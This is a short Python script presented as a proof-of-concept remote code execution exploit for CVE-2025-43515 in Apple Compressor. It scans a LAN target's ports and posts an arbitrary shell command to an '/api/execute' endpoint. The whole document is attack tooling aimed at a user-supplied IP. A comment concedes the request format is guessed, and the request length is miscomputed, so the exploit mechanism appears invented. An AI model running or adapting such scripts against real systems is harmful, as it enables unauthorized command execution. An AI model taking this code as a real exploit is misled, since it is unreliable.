CVE-2025-43515

# CVE-2025-43515 Apple Compressor RCE PoC # Target: Apple Compressor with default server configuration # Attack Vector: Adjacent Network (same LAN/WiFi) # Note: This is a conceptual PoC for educational purposes only import socket import struct import sys def discover_compressor_server(target_ip, timeout=5): """Discover Compressor server on the network""" # Compressor uses Bonjour/mDNS for service discovery # Standard ports: 8080, 8443 for HTTP/HTTPS common_ports = [8080, 8443, 60799] for port in common_ports: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((target_ip, port)) if result == 0: print(f"[+] Compressor server found at {target_ip}:{port}") sock.close() return port sock.close() except: continue return None def exploit_compressor_rce(target_ip, port, command): """Execute arbitrary command on Compressor server""" # Construct malicious request to trigger code execution # The exact request format depends on Compressor protocol analysis payload = f""" POST /api/execute HTTP/1.1 Host: {target_ip}:{port} Content-Type: application/json Content-Length: {len(command)} {command} """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) sock.send(payload.encode()) response = sock.recv(4096) print(f"[*] Response: {response}") sock.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-43515.py <target_ip> <command>") print("Example: python cve-2025-43515.py 192.168.1.100 'whoami'") sys.exit(1) target_ip = sys.argv[1] command = sys.argv[2] print(f"[*] Scanning {target_ip} for Compressor server...") port = discover_compressor_server(target_ip) if port: print(f"[*] Exploiting CVE-2025-43515...") exploit_compressor_rce(target_ip, port, command) else: print("[-] No Compressor server found") if __name__ == "__main__": main()

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